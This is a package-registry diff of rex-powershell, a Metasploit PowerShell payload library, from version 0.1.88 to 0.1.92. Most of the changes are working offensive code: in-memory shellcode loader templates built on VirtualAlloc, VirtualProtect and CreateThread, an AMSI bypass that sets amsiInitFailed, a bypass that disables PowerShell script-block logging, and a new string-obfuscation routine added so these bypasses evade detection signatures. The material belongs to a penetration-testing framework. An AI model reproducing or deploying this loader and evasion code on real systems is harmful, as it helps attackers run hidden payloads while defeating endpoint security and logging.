rex-powershell 0.1.88 → 0.1.92
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/.github/workflows/verify.yml +57 -0
- data/data/templates/to_mem_dotnet.ps1.template +10 -5
- data/data/templates/to_mem_pshreflection.ps1.template +21 -19
- data/data/templates/to_mem_rc4.ps1.template +1 -1
- data/lib/rex/powershell/command.rb +30 -8
- data/lib/rex/powershell/obfu.rb +87 -0
- data/lib/rex/powershell/output.rb +12 -4
- data/lib/rex/powershell/payload.rb +2 -3
- data/lib/rex/powershell/psh_methods.rb +24 -15
- data/lib/rex/powershell/version.rb +1 -1
- metadata +3 -2
- metadata.gz.sig +3 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 546de61fbb5ce6c1291c1c922c68db93a408ae3c1fc339acdabc80d2b905f961
|
|
4
|
+
data.tar.gz: ac1f52f00b5df0ffd34813e5aed34a61ee52da12269173f5a6ff792a01f3c336
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: ce407f2b61f7ccecdfc42ce1bf797e68d2ef3b7a88717735da432e92d9cff2c9511b8a1a0639bf987140076da7a0ccd141f2e5588252c11058d49467b033467e
|
|
7
|
+
data.tar.gz: efd9530029b6909fa9c7fe9daff2e59ce5167dbf5b25cb3cf67f816aa5528a7589c4b462516d823d429ce508e74cb6aa3be329157ee95eed1a1269b5bd743bd0
|
checksums.yaml.gz.sig
CHANGED
|
Binary file
|
data.tar.gz.sig
CHANGED
|
Binary file
|
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
name: Verify
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
push:
|
|
5
|
+
branches:
|
|
6
|
+
- '*'
|
|
7
|
+
pull_request:
|
|
8
|
+
branches:
|
|
9
|
+
- '*'
|
|
10
|
+
|
|
11
|
+
jobs:
|
|
12
|
+
test:
|
|
13
|
+
runs-on: ubuntu-18.04
|
|
14
|
+
timeout-minutes: 40
|
|
15
|
+
|
|
16
|
+
strategy:
|
|
17
|
+
fail-fast: true
|
|
18
|
+
matrix:
|
|
19
|
+
ruby:
|
|
20
|
+
- 2.5
|
|
21
|
+
- 2.6
|
|
22
|
+
- 2.7
|
|
23
|
+
- 3.0
|
|
24
|
+
test_cmd:
|
|
25
|
+
- bundle exec rspec
|
|
26
|
+
|
|
27
|
+
env:
|
|
28
|
+
RAILS_ENV: test
|
|
29
|
+
|
|
30
|
+
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
|
31
|
+
steps:
|
|
32
|
+
- name: Checkout code
|
|
33
|
+
uses: actions/checkout@v2
|
|
34
|
+
|
|
35
|
+
- uses: actions/setup-ruby@v1
|
|
36
|
+
with:
|
|
37
|
+
ruby-version: ${{ matrix.ruby }}
|
|
38
|
+
|
|
39
|
+
- name: Setup bundler
|
|
40
|
+
run: |
|
|
41
|
+
gem install bundler
|
|
42
|
+
- uses: actions/cache@v2
|
|
43
|
+
with:
|
|
44
|
+
path: vendor/bundle
|
|
45
|
+
key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
|
|
46
|
+
restore-keys: |
|
|
47
|
+
${{ runner.os }}-gems-
|
|
48
|
+
- name: Bundle install
|
|
49
|
+
run: |
|
|
50
|
+
bundle config path vendor/bundle
|
|
51
|
+
bundle install --jobs 4 --retry 3
|
|
52
|
+
- name: ${{ matrix.test_cmd }}
|
|
53
|
+
run: |
|
|
54
|
+
echo "${CMD}"
|
|
55
|
+
bash -c "${CMD}"
|
|
56
|
+
env:
|
|
57
|
+
CMD: ${{ matrix.test_cmd }}
|
|
@@ -5,9 +5,10 @@ $%{var_syscode} = @"
|
|
|
5
5
|
namespace %{var_kernel32} {
|
|
6
6
|
public class func {
|
|
7
7
|
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
|
|
8
|
-
[Flags] public enum MemoryProtection {
|
|
8
|
+
[Flags] public enum MemoryProtection { ReadWrite = 0x04, Execute= 0x10 }
|
|
9
9
|
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
|
10
10
|
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
11
|
+
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
|
|
11
12
|
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
|
12
13
|
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
|
13
14
|
}
|
|
@@ -21,10 +22,14 @@ $%{var_compileParams}.GenerateInMemory = $True
|
|
|
21
22
|
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
|
|
22
23
|
|
|
23
24
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
|
25
|
+
[Uint32]$%{var_opf} = 0
|
|
24
26
|
|
|
25
|
-
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::
|
|
27
|
+
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ReadWrite)
|
|
26
28
|
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
|
27
29
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
|
28
|
-
|
|
29
|
-
if ([
|
|
30
|
-
$%{
|
|
30
|
+
|
|
31
|
+
if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
|
|
32
|
+
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
|
33
|
+
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
|
34
|
+
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
|
35
|
+
}
|
|
@@ -1,27 +1,29 @@
|
|
|
1
1
|
function %{func_get_proc_address} {
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
Param ($%{var_module}, $%{var_procedure})
|
|
3
|
+
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
|
|
4
|
+
|
|
5
|
+
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
|
|
6
6
|
}
|
|
7
7
|
|
|
8
8
|
function %{func_get_delegate_type} {
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
9
|
+
Param (
|
|
10
|
+
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
|
|
11
|
+
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
|
|
12
|
+
)
|
|
13
|
+
|
|
14
|
+
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
|
15
|
+
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
|
16
|
+
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
|
17
|
+
|
|
18
|
+
return $%{var_type_builder}.CreateType()
|
|
19
19
|
}
|
|
20
20
|
|
|
21
21
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
|
22
|
-
|
|
23
|
-
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000,
|
|
24
|
-
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
|
22
|
+
[Uint32]$%{var_opf} = 0
|
|
23
|
+
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x04)
|
|
25
24
|
|
|
26
|
-
|
|
27
|
-
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll
|
|
25
|
+
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
|
26
|
+
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
|
|
27
|
+
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
|
28
|
+
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
|
29
|
+
}
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
function %{func_rc4_decrypt} {
|
|
2
2
|
param([Byte[]]$%{var_rc4buffer})
|
|
3
3
|
|
|
4
|
-
|
|
4
|
+
$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
|
|
5
5
|
|
|
6
6
|
$s = New-Object Byte[] 256;
|
|
7
7
|
$k = New-Object Byte[] 256;
|
|
@@ -123,6 +123,8 @@ module Command
|
|
|
123
123
|
# powershell profile (-NoProfile)
|
|
124
124
|
# @option opts [String] :windowstyle The window style to use
|
|
125
125
|
# (-WindowStyle)
|
|
126
|
+
# @option opts [String] :version The version of Powershell to run
|
|
127
|
+
# (-version)
|
|
126
128
|
#
|
|
127
129
|
# @return [String] Powershell command arguments
|
|
128
130
|
def self.generate_psh_args(opts)
|
|
@@ -157,6 +159,8 @@ module Command
|
|
|
157
159
|
arg_string << '-NoProfile ' if value
|
|
158
160
|
when :windowstyle
|
|
159
161
|
arg_string << "-WindowStyle #{value} " if value
|
|
162
|
+
when :version
|
|
163
|
+
arg_string << "-Version #{value} " if value
|
|
160
164
|
end
|
|
161
165
|
end
|
|
162
166
|
|
|
@@ -188,6 +192,7 @@ module Command
|
|
|
188
192
|
arg_string.gsub!('-OutputFormat ', '-o ')
|
|
189
193
|
arg_string.gsub!('-Sta ', '-s ')
|
|
190
194
|
arg_string.gsub!('-WindowStyle ', '-w ')
|
|
195
|
+
arg_string.gsub!('-Version ', '-v ')
|
|
191
196
|
end
|
|
192
197
|
|
|
193
198
|
# Strip off first space character
|
|
@@ -263,6 +268,12 @@ EOS
|
|
|
263
268
|
# @param opts [Hash] The options to generate the command
|
|
264
269
|
# @option opts [Boolean] :persist Loop the payload to cause
|
|
265
270
|
# re-execution if the shellcode finishes
|
|
271
|
+
# @option opts [String] :prepend A stub of Powershell code to prepend to the
|
|
272
|
+
# payload.
|
|
273
|
+
# @option opts [String] :prepend_inner A stub of Powershell code to prepend to
|
|
274
|
+
# the inner payload.
|
|
275
|
+
# @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
|
|
276
|
+
# bypasses Powershell protections.
|
|
266
277
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
|
267
278
|
# before executing the payload
|
|
268
279
|
# @option opts [String] :method The powershell injection technique to
|
|
@@ -302,6 +313,14 @@ EOS
|
|
|
302
313
|
fail RuntimeError, 'No Powershell method specified'
|
|
303
314
|
end
|
|
304
315
|
|
|
316
|
+
if opts[:exec_rc4]
|
|
317
|
+
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
|
|
318
|
+
end
|
|
319
|
+
|
|
320
|
+
if opts[:prepend_inner]
|
|
321
|
+
psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
|
|
322
|
+
end
|
|
323
|
+
|
|
305
324
|
# Run our payload in a while loop
|
|
306
325
|
if opts[:persist]
|
|
307
326
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
|
@@ -317,12 +336,6 @@ EOS
|
|
|
317
336
|
end
|
|
318
337
|
|
|
319
338
|
compressed_payload = compress_script(psh_payload, nil, opts)
|
|
320
|
-
|
|
321
|
-
if opts[:prepend_protections_bypass]
|
|
322
|
-
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
|
323
|
-
compressed_payload = bypass_amsi + ";" + compressed_payload
|
|
324
|
-
end
|
|
325
|
-
|
|
326
339
|
encoded_payload = encode_script(psh_payload, opts)
|
|
327
340
|
|
|
328
341
|
# This branch is probably never taken...
|
|
@@ -345,6 +358,15 @@ EOS
|
|
|
345
358
|
end
|
|
346
359
|
end
|
|
347
360
|
|
|
361
|
+
if opts[:prepend_protections_bypass]
|
|
362
|
+
bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
|
|
363
|
+
smallest_payload = bypass_amsi + ";" + smallest_payload
|
|
364
|
+
end
|
|
365
|
+
|
|
366
|
+
if opts[:prepend]
|
|
367
|
+
smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
|
|
368
|
+
end
|
|
369
|
+
|
|
348
370
|
if opts[:exec_in_place]
|
|
349
371
|
final_payload = smallest_payload
|
|
350
372
|
else
|
|
@@ -355,8 +377,8 @@ EOS
|
|
|
355
377
|
end
|
|
356
378
|
|
|
357
379
|
command_args = {
|
|
358
|
-
|
|
359
|
-
|
|
380
|
+
noprofile: true,
|
|
381
|
+
windowstyle: 'hidden'
|
|
360
382
|
}.merge(opts)
|
|
361
383
|
|
|
362
384
|
if opts[:encode_final_payload]
|
data/lib/rex/powershell/obfu.rb
CHANGED
|
@@ -12,6 +12,92 @@ module Powershell
|
|
|
12
12
|
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
|
13
13
|
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
|
14
14
|
|
|
15
|
+
#
|
|
16
|
+
# Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
|
|
17
|
+
# characters and some punctuation. This routine will use a combination of of techniques including formatting and
|
|
18
|
+
# concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
|
|
19
|
+
#
|
|
20
|
+
# @param [String] string The string value to obfuscate.
|
|
21
|
+
# @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
|
|
22
|
+
# obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
|
|
23
|
+
# obfuscation.
|
|
24
|
+
# @return [String] An obfuscated Powershell expression that evaluates to the specified string.
|
|
25
|
+
def self.scate_string_literal(string, threshold: 0.15)
|
|
26
|
+
# this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
|
|
27
|
+
# 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
|
|
28
|
+
raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
|
|
29
|
+
raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
|
|
30
|
+
|
|
31
|
+
new = original = string
|
|
32
|
+
occurrences = {}
|
|
33
|
+
original.each_char { |char|
|
|
34
|
+
occurrences[char] = 0 unless occurrences.key?(char)
|
|
35
|
+
occurrences[char] += 1
|
|
36
|
+
}
|
|
37
|
+
char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
|
|
38
|
+
|
|
39
|
+
# phase 1
|
|
40
|
+
format = []
|
|
41
|
+
char_subs = 0.0
|
|
42
|
+
while (char_subs / original.length.to_f) < threshold
|
|
43
|
+
orig_char, occurrence_count = char_map.pop
|
|
44
|
+
new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
|
|
45
|
+
format << "'#{orig_char}'"
|
|
46
|
+
char_subs += occurrence_count
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
# phase 2
|
|
50
|
+
concat = "'+'"
|
|
51
|
+
positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
|
|
52
|
+
positions.sort!
|
|
53
|
+
positions.each_with_index do |position, index|
|
|
54
|
+
new = new.insert(position + (index * concat.length), concat)
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
new = "'#{new}'"
|
|
58
|
+
new = "(#{new})" unless threshold == 0
|
|
59
|
+
|
|
60
|
+
final = new
|
|
61
|
+
final << "-f#{format.join(',')}" unless format.empty?
|
|
62
|
+
final = "(#{final})" unless format.empty? && threshold == 0
|
|
63
|
+
final
|
|
64
|
+
end
|
|
65
|
+
|
|
66
|
+
#
|
|
67
|
+
# Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
|
|
68
|
+
#
|
|
69
|
+
# @param [String] string The obfuscated Powershell expression to deobfuscate.
|
|
70
|
+
# @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
|
|
71
|
+
# different routine, then an exception is raised.
|
|
72
|
+
# @return [String] The string literal value.
|
|
73
|
+
def self.descate_string_literal(string)
|
|
74
|
+
string = string.strip
|
|
75
|
+
nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
|
|
76
|
+
string = string[nest_level...-nest_level].strip if nest_level > 0
|
|
77
|
+
format_args = nil
|
|
78
|
+
if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
|
|
79
|
+
format = Regexp.last_match(0)
|
|
80
|
+
format_args = string[format.length..-1].strip
|
|
81
|
+
unless format_args =~ /-f\s*('.',\s*)*('.')/
|
|
82
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
|
83
|
+
end
|
|
84
|
+
format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
|
|
85
|
+
string = format[1...-1].strip
|
|
86
|
+
end
|
|
87
|
+
|
|
88
|
+
unless string =~ /^'.*'$/
|
|
89
|
+
raise RuntimeError.new('The obfuscated string structure is unsupported')
|
|
90
|
+
end
|
|
91
|
+
string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
|
|
92
|
+
unless format_args.nil? # process all format string operations
|
|
93
|
+
string = string.gsub(/\{\s*\d+\s*\}/) do |index|
|
|
94
|
+
format_args[index[1...-1].to_i]
|
|
95
|
+
end
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
string[1...-1]
|
|
99
|
+
end
|
|
100
|
+
|
|
15
101
|
#
|
|
16
102
|
# Remove comments
|
|
17
103
|
#
|
|
@@ -45,6 +131,7 @@ module Powershell
|
|
|
45
131
|
# @return [String] code with whitespace stripped
|
|
46
132
|
def strip_whitespace
|
|
47
133
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
|
134
|
+
code.strip!
|
|
48
135
|
|
|
49
136
|
code
|
|
50
137
|
end
|
|
@@ -50,10 +50,11 @@ module Powershell
|
|
|
50
50
|
# Base64 encode the compressed file contents
|
|
51
51
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
|
52
52
|
|
|
53
|
+
|
|
53
54
|
# Build the powershell expression
|
|
54
55
|
# Decode base64 encoded command and create a stream object
|
|
55
56
|
psh_expression = "$s=New-Object System.IO.MemoryStream(,"
|
|
56
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
|
57
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
|
|
57
58
|
# Read & delete the first two bytes due to incompatibility with MS
|
|
58
59
|
psh_expression << '$s.ReadByte();'
|
|
59
60
|
psh_expression << '$s.ReadByte();'
|
|
@@ -109,7 +110,7 @@ module Powershell
|
|
|
109
110
|
# GzipStream operates on the Memory Stream
|
|
110
111
|
psh_expression << '(New-Object System.IO.MemoryStream(,'
|
|
111
112
|
# MemoryStream consists of base64 encoded compressed data
|
|
112
|
-
psh_expression << "[System.Convert]::FromBase64String(
|
|
113
|
+
psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
|
|
113
114
|
# Set the GzipStream to decompress its MemoryStream contents
|
|
114
115
|
psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
|
|
115
116
|
# Read the decoded, decompressed result into scriptblock contents
|
|
@@ -139,8 +140,15 @@ module Powershell
|
|
|
139
140
|
#
|
|
140
141
|
# @return [String] Decompressed powershell code
|
|
141
142
|
def decompress_code
|
|
142
|
-
# Extract substring with
|
|
143
|
-
|
|
143
|
+
# Extract substring with payload4
|
|
144
|
+
if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
|
|
145
|
+
encoded_stream = Regexp.last_match(1)
|
|
146
|
+
elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
|
|
147
|
+
encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
|
|
148
|
+
else
|
|
149
|
+
raise RuntimeError, 'Failed to identify the base64 data'
|
|
150
|
+
end
|
|
151
|
+
|
|
144
152
|
# Decode and decompress the string
|
|
145
153
|
unencoded = Rex::Text.decode_base64(encoded_stream)
|
|
146
154
|
begin
|
|
@@ -37,10 +37,10 @@ module Payload
|
|
|
37
37
|
def self.to_win32pe_psh(template_path = TEMPLATE_DIR, code)
|
|
38
38
|
hash_sub = {}
|
|
39
39
|
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
40
|
-
hash_sub[:var_win32_func]
|
|
40
|
+
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
41
41
|
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
42
42
|
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
43
|
-
hash_sub[:var_rwx]
|
|
43
|
+
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
44
44
|
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
45
45
|
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
46
46
|
|
|
@@ -55,7 +55,6 @@ module Payload
|
|
|
55
55
|
# Originally from PowerSploit
|
|
56
56
|
#
|
|
57
57
|
def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
|
|
58
|
-
# Intialize rig and value names
|
|
59
58
|
rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
|
|
60
59
|
rig.init_var(:func_get_proc_address)
|
|
61
60
|
rig.init_var(:func_get_delegate_type)
|
|
@@ -90,10 +90,13 @@ module Powershell
|
|
|
90
90
|
#
|
|
91
91
|
# @return [String] PowerShell code to bypass AMSI
|
|
92
92
|
def self.bypass_amsi()
|
|
93
|
-
|
|
94
|
-
$Ref=[Ref].Assembly.GetType('System.Management.Automation.
|
|
95
|
-
$Ref.GetField('
|
|
96
|
-
|
|
93
|
+
script = Script.new(<<-PSH
|
|
94
|
+
$Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
|
|
95
|
+
$Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
|
|
96
|
+
PSH
|
|
97
|
+
)
|
|
98
|
+
script.sub_vars
|
|
99
|
+
script
|
|
97
100
|
end
|
|
98
101
|
|
|
99
102
|
#
|
|
@@ -101,22 +104,28 @@ module Powershell
|
|
|
101
104
|
#
|
|
102
105
|
# @return [String] PowerShell code to bypass Script Block Logging
|
|
103
106
|
def self.bypass_script_log()
|
|
104
|
-
|
|
105
|
-
$GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','
|
|
106
|
-
If($GPF){
|
|
107
|
+
script = Script.new(<<-PSH
|
|
108
|
+
$GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
|
|
109
|
+
If ($GPF) {
|
|
110
|
+
$SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
|
|
111
|
+
$EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
|
|
112
|
+
$EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
|
|
107
113
|
$GPC=$GPF.GetValue($null);
|
|
108
|
-
If($GPC[
|
|
109
|
-
$GPC[
|
|
110
|
-
$GPC[
|
|
114
|
+
If($GPC[$SBL]){
|
|
115
|
+
$GPC[$SBL][$EnableSBL]=0;
|
|
116
|
+
$GPC[$SBL][$EnableSBIL]=0;
|
|
111
117
|
}
|
|
112
118
|
$val=[Collections.Generic.Dictionary[string,System.Object]]::new();
|
|
113
|
-
$val.Add(
|
|
114
|
-
$val.Add(
|
|
115
|
-
$GPC['HKEY_LOCAL_MACHINE
|
|
119
|
+
$val.Add($EnableSBL,0);
|
|
120
|
+
$val.Add($EnableSBIL,0);
|
|
121
|
+
$GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
|
|
116
122
|
} Else {
|
|
117
|
-
[ScriptBlock].GetField('signatures','
|
|
123
|
+
[ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
|
|
118
124
|
}
|
|
119
|
-
|
|
125
|
+
PSH
|
|
126
|
+
)
|
|
127
|
+
script.sub_vars
|
|
128
|
+
script
|
|
120
129
|
end
|
|
121
130
|
|
|
122
131
|
#
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: rex-powershell
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.1.
|
|
4
|
+
version: 0.1.92
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Metasploit Hackers
|
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
|
93
93
|
EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
|
|
94
94
|
9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
|
|
95
95
|
-----END CERTIFICATE-----
|
|
96
|
-
date:
|
|
96
|
+
date: 2021-07-19 00:00:00.000000000 Z
|
|
97
97
|
dependencies:
|
|
98
98
|
- !ruby/object:Gem::Dependency
|
|
99
99
|
name: rake
|
|
@@ -173,6 +173,7 @@ executables: []
|
|
|
173
173
|
extensions: []
|
|
174
174
|
extra_rdoc_files: []
|
|
175
175
|
files:
|
|
176
|
+
- ".github/workflows/verify.yml"
|
|
176
177
|
- ".gitignore"
|
|
177
178
|
- ".rspec"
|
|
178
179
|
- ".travis.yml"
|
metadata.gz.sig
CHANGED
|
@@ -1,2 +1,3 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
1
|
+
�b^��-��Y��B|��a>
|
|
2
|
+
